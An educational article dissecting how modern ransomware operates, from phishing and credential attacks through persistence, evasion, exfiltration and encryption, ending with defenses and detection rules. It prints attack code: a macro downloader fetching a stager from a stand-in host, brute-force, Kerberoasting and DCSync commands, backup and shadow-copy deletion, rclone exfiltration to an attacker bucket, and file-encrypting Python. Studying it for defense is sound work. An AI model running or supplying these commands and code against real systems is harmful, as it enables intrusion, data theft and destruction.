Ransomware Anatomy: How Modern Ransomware Works End to End
Disclaimer: This article is intended for educational purposes only. The techniques and code examples presented are for understanding ransomware mechanics to improve defensive capabilities. Never use this knowledge for malicious purposes. Unauthorized access to computer systems is illegal.
Introduction: The Evolution of Ransomware Operations
In 2026, ransomware remains the most financially devastating cyber threat facing organizations worldwide. What began as simple screen-locking malware has evolved into sophisticated multi-stage operations run by well-funded criminal enterprises. The average ransomware payment exceeded $1.5 million in Q1 2026, with total damages including downtime, recovery costs, and reputational harm reaching into the tens of millions per incident.
Understanding how modern ransomware operates from initial access to encryption and extortion is essential for security professionals defending organizational assets. This deep technical analysis dissects each phase of a contemporary ransomware attack, providing real code examples, indicators of compromise, and actionable defense strategies.
Today’s ransomware groups operate like legitimate businesses, complete with customer support portals, affiliate programs, and professional negotiators. Groups like LockBit 4.0, BlackCat (ALPHV) successors, and emerging Rust-based variants have refined their tradecraft to evade detection while maximizing damage and payment likelihood.
Phase 1: Initial Access Vectors
Modern ransomware operators rarely deploy their payloads directly. Instead, they leverage initial access brokers (IABs) or conduct their own reconnaissance and exploitation phases. Understanding these entry points is critical for preventive defense.
Phishing with Malicious Attachments
Phishing remains the most common initial access vector, accounting for approximately 45% of ransomware incidents in 2026. Modern campaigns use sophisticated social engineering combined with technical evasion techniques.
# Example: Malicious macro payload obfuscation technique
# This demonstrates how attackers hide PowerShell execution in VBA
Sub AutoOpen()
Dim strCmd As String
Dim strEnc As String
' Base64 encoded PowerShell downloader
strEnc = "aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBtAGEAbABpAGMAaQBvAHUAcwAuAGUAeABhAG0AcABsAGUALgBjAG8AbQAvAHMAdABhAGcAZQByAC4AcABzADEAJwApAA=="
' Execution via WMI to evade command-line logging
strCmd = "powershell -nop -w hidden -enc " & strEnc
GetObject("winmgmts:").Get("Win32_Process").Create strCmd, Null, Null, pid
End Sub
This example demonstrates a common obfuscation technique where the malicious payload is Base64-encoded and executed through Windows Management Instrumentation (WMI) rather than direct shell execution, helping evade basic command-line monitoring.
Exploitation of Public-Facing Applications
Vulnerable VPN appliances, web applications, and exposed services continue to provide reliable entry points. In 2026, we’ve seen extensive exploitation of:
- Unpatched Citrix NetScaler instances (CVE-2024-series)
- Vulnerable Ivanti Connect Secure appliances
- Misconfigured Kubernetes clusters with exposed dashboards
- Legacy Exchange servers still vulnerable to ProxyShell variants
Valid Credential Abuse
Credential theft through infostealers, previous breaches, or brute-force attacks against exposed RDP and SSH services remains highly effective. Attackers frequently purchase credentials from underground markets.
# Example: Hydra brute-force command against RDP
# Used by attackers to gain initial access via weak credentials
hydra -L users.txt -P passwords.txt rdp://target.example.com -t 4 -w 30 -V
# More sophisticated attackers use credential stuffing with breach data
hydra -C breach_credentials.txt rdp://target.example.com -t 2 -w 60
Phase 2: Post-Exploitation and Lateral Movement
Once inside the network, ransomware operators establish persistence and begin mapping the environment. This phase often lasts days or weeks, allowing attackers to identify high-value targets and understand network topology.
Establishing Persistence
Modern ransomware groups deploy multiple persistence mechanisms to survive reboots and remediation attempts. Common techniques include:
- Scheduled tasks with obfuscated names mimicking legitimate Windows services
- WMI event subscriptions for fileless persistence
- Registry Run key modifications
- DLL search order hijacking in trusted applications
- Bootkit installation for advanced groups
# Example: WMI event subscription for persistence
# Creates a permanent event consumer that survives reboots
$FilterArgs = @{
Namespace = 'root\subscription'
Name = 'WindowsUpdateFilter'
EventNameSpace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{
Namespace = 'root\subscription'
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "powershell.exe -nop -w hidden -c \"IEX(gc C:\Windows\Temp\update.ps1 -Raw)\""
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs
$BindingArgs = @{
Namespace = 'root\subscription'
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs
Network Reconnaissance
Attackers conduct extensive reconnaissance to identify domain controllers, backup servers, file shares, and business-critical systems. They typically use built-in Windows tools to blend with normal administrative activity.
# Common reconnaissance commands used by ransomware operators
# Domain enumeration
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
nltest /dclist:targetdomain.local
# Network share discovery
net view /all /domain
net share
# Find backup servers and management systems
nslookup -type=SRV _ldap._tcp.dc._msdcs.targetdomain.local
# PowerShell Active Directory enumeration
Get-ADComputer -Filter * -Properties OperatingSystem | Where-Object {$_.OperatingSystem -like "*Server*"}
Get-ADGroupMember -Identity "Backup Operators" -Recursive
Credential Harvesting and Privilege Escalation
Obtaining domain administrator or equivalent privileges is essential for maximizing encryption coverage. Attackers employ various techniques:
LSASS Memory Dumping: Tools like Mimikatz or custom implementations extract credentials from memory. Modern variants use direct system calls to evade EDR hooks.
Kerberoasting: Requesting service tickets for service accounts and cracking them offline to obtain plaintext passwords.
DCSync Attacks: Once domain admin privileges are obtained, attackers replicate the Active Directory database to extract all password hashes.
# Kerberoasting attack example using Rubeus
# Attackers request TGS tickets for service accounts with weak passwords
.\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
# Offline cracking with Hashcat
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
# DCSync attack using Mimikatz (requires domain admin privileges)
mimikatz # lsadump::dcsync /domain:targetdomain.local /all /csv
Phase 3: Defense Evasion and EDR Bypass
Modern ransomware operators invest significant effort in evading endpoint detection and response (EDR) solutions. The techniques have grown increasingly sophisticated in 2026.
EDR Evasion Techniques
Common approaches include:
- Direct System Calls: Bypassing user-mode API hooks by calling NT functions directly
- Unhooking: Restoring original ntdll.dll from disk to remove EDR hooks
- BYOVD (Bring Your Own Vulnerable Driver): Loading vulnerable kernel drivers to disable security tools
- Process Injection: Injecting malicious code into trusted processes
- Timestomping: Modifying file timestamps to complicate forensic analysis
// Simplified example: Direct syscall to evade NtWriteVirtualMemory hooks
// Real implementations use dynamic syscall number resolution
extern NTSTATUS NtWriteVirtualMemory_Syscall(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten
);
// Assembly stub for direct syscall (x64)
// mov r10, rcx
// mov eax, ; Dynamically resolved
// syscall
// ret
UCHAR syscallStub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, syscall_number
0x0F, 0x05, // syscall
0xC3 // ret
};
Disabling Security Controls
Before encryption, attackers systematically disable or impair security tools:
# Common commands to disable security controls
# Stop Windows Defender real-time protection
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
# Remove Windows Defender definitions
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
# Disable and stop backup services
vssadmin delete shadows /all /quiet
wmic shadowcopy delete /nointeractive
# Stop backup software services
net stop "Veeam Backup Service" /y
net stop "SQL Server VSS Writer" /y
net stop "Volume Shadow Copy" /y
# Disable recovery options
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
Phase 4: Data Exfiltration (Double Extortion)
Since 2020, double extortion has become standard practice. Attackers exfiltrate sensitive data before encryption, threatening public release if ransom isn’t paid. This dramatically increases payment rates and amounts.
Exfiltration Techniques
Modern ransomware groups use various methods to steal data while avoiding detection:
- Cloud Storage Services: Mega.nz, anonymous cloud providers, or compromised legitimate accounts
- Custom Exfiltration Tools: Rclone with encrypted configurations, custom HTTP/HTTPS uploaders
- DNS Tunneling: Encoding data in DNS queries to bypass network monitoring
- Steganography: Hiding data in image files uploaded to legitimate platforms
# Rclone configuration commonly used for data exfiltration
# Attackers often rename rclone.exe to blend in
# Example rclone command for exfiltration
rclone copy "\\fileserver\sensitive_data" remote:exfil_bucket --transfers 10 --checkers 20 --config c:\users\public\svchost.conf
# Example encrypted rclone configuration file
[remote]
type = s3
provider = Other
access_key_id = AKIAEXAMPLE123456
secret_access_key_enc = encrypted_secret_here
endpoint = https://attacker-bucket.s3.amazonaws.com
Target Selection for Exfiltration
Attackers prioritize data with maximum extortion value:
- Financial records and accounting databases
- Customer personal information (PII)
- Healthcare records (PHI)
- Intellectual property and trade secrets
- Legal documents and contracts
- Employee personal data
- Board communications and strategic plans
Phase 5: Encryption and Ransom Deployment
The encryption phase is carefully orchestrated for maximum impact and minimum detection time. Modern ransomware employs sophisticated cryptographic implementations.
Encryption Architecture
Contemporary ransomware typically uses a hybrid encryption scheme:
- Generate unique AES-256 or ChaCha20 key per file for fast symmetric encryption
- Encrypt the symmetric key with RSA-2048/4096 or Curve25519 public key embedded in the malware
- Store the encrypted symmetric key within the encrypted file or a separate metadata file
- Only the attacker possesses the private key needed to decrypt the symmetric keys
# Simplified Python representation of ransomware encryption logic
# Educational purposes only - demonstrates cryptographic concepts
from Cryptodome.Cipher import AES, ChaCha20
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Random import get_random_bytes
import os
def encrypt_file(filepath, public_key):
# Generate random symmetric key for this file
symmetric_key = get_random_bytes(32) # 256-bit key
nonce = get_random_bytes(12) # For ChaCha20
# Read original file content
with open(filepath, 'rb') as f:
plaintext = f.read()
# Encrypt file content with symmetric cipher
cipher = ChaCha20.new(key=symmetric_key, nonce=nonce)
ciphertext = cipher.encrypt(plaintext)
# Encrypt symmetric key with attacker's public RSA key
rsa_cipher = PKCS1_OAEP.new(public_key)
encrypted_key = rsa_cipher.encrypt(symmetric_key)
# Write encrypted file with metadata
with open(filepath + '.locked', 'wb') as f:
f.write(len(encrypted_key).to_bytes(4, 'big'))
f.write(encrypted_key)
f.write(nonce)
f.write(ciphertext)
# Secure delete original file
secure_delete(filepath)
def get_target_extensions():
return [
'.docx', '.xlsx', '.pdf', '.sql', '.mdb', '.vmdk',
'.vmx', '.pst', '.dwg', '.zip', '.rar', '.bak',
'.vhdx', '.avhdx', '.json', '.config', '.pfx'
]
Encryption Optimization Techniques
Modern ransomware employs various optimizations to encrypt systems faster:
- Intermittent Encryption: Encrypting only portions of files (e.g., first 1MB, last 1MB, and every nth block) to speed up the process while still rendering files unusable
- Multi-threading: Using worker thread pools to encrypt multiple files simultaneously
- SMB Targeting: Prioritizing network shares before local files to maximize impact
- Process Termination: Killing processes holding file handles (databases, applications) to encrypt their files
Ransom Note Deployment
Ransom notes are dropped in every encrypted directory and often displayed prominently. Modern notes include:
- Unique victim identifier
- Tor-based payment portal links
- Proof of data exfiltration (file listings)
- Payment deadline with escalating demands
- Instructions for cryptocurrency purchase
- Support chat access for “customer service”
Defense Strategies and Mitigations
Defending against modern ransomware requires a layered approach addressing each attack phase.
Prevention: Reducing Initial Access Risk
- Email Security: Deploy advanced email filtering with attachment sandboxing and URL rewriting
- Patch Management: Prioritize patching of internet-facing systems within 24-48 hours of critical CVE publication
- MFA Everywhere: Enforce multi-factor authentication for all remote access, privileged accounts, and cloud services
- Network Segmentation: Isolate critical systems, implement zero-trust network architecture
- Disable Unnecessary Services: Remove RDP exposure, disable SMBv1, restrict PowerShell execution
Detection: Identifying Attack Progression
# Detection queries for common ransomware indicators
# Splunk query: Detect shadow copy deletion
index=windows EventCode=4688 (CommandLine="*vssadmin*delete*" OR CommandLine="*wmic*shadowcopy*delete*")
| stats count by ComputerName, User, CommandLine
# Elastic SIEM: Detect suspicious WMI persistence
process where event.type == "creation" and
process.name : "wmic.exe" and
process.command_line : (*create* and *Win32_Process*)
# Sigma rule: Detect credential dumping
title: Credential Dumping via LSASS Access
status: stable
detection:
selection:
EventID: 10
TargetImage|endswith: '\lsass.exe'
GrantedAccess:
- '0x1010'
- '0x1038'
- '0x1438'
condition: selection
Response: Limiting Blast Radius
- Immutable Backups: Maintain air-gapped or immutable backup copies that cannot be encrypted or deleted by attackers
- Incident Response Plan: Develop and regularly test ransomware-specific playbooks
- Network Isolation Capability: Prepare scripts and procedures to rapidly isolate infected segments
- Forensic Readiness: Ensure logging and evidence collection capabilities are in place before an incident
Recovery: Minimizing Downtime
- Backup Testing: Regularly verify backup restoration procedures work as expected
- Decryption Resources: Check nomoreransom.org for available decryptors before considering payment
- System Rebuilding: Plan for complete system rebuilding rather than cleaning infected systems
- Communication Templates: Prepare notification templates for employees, customers, and regulators
Key Takeaways
- Ransomware attacks are multi-phase operations that typically unfold over days or weeks. Each phase presents detection and prevention opportunities.
- Initial access prevention is critical — focus on email security, patch management, and credential protection to stop attacks before they start.
- Modern ransomware includes data exfiltration as standard practice. Even with perfect backups, sensitive data exposure creates significant liability.
- Defense evasion techniques are sophisticated — relying solely on endpoint protection is insufficient. Deploy defense-in-depth with network monitoring, behavioral analysis, and deception technologies.
- Immutable, tested backups remain the best recovery option. Ensure backups cannot be accessed or modified by attackers who compromise domain admin credentials.
- Incident response preparation saves critical time. Develop runbooks, maintain current asset inventories, and practice response procedures before an incident occurs.
- Assume breach mentality — segment networks, limit privilege, and monitor for lateral movement indicators even when no active threat is known.
Understanding ransomware anatomy empowers security teams to build more effective defenses and respond more quickly when incidents occur. The technical sophistication of these threats continues to evolve, making continuous learning and adaptation essential for security professionals.
